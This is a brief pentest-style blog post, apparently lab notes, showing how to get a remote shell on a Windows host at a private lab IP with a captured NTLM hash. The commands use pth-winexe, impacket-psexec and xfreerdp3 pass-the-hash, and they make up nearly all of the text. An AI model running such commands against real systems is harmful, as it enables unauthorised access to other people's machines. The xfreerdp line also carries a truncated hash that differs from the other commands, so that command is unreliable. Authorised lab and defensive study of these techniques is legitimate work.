Gaining a Shell Using pth-winexe, Impacket & xfreerdp

Using various tools to gain remote shells through pass-the-hash and RDP-based approaches.

November 24, 2025 · 1 min · 24 words · 0x-s0M3n4th

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pth-winexe:

pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:58f5081696f366cdc72491a2c4996bd5 //192.168.83.136 cmd

gs_1

impacket-psexec Administrator@192.168.83.136 -hashes aad3b435b51404eeaad3b435b51404ee:58f5081696f366cdc72491a2c4996bd5

gs_2

xfreerdp3 /u:Administrator /pth:8f5081696f366cdc72491a2c4996bd5 /v:192.168.83.136

This will give GUI access of the target.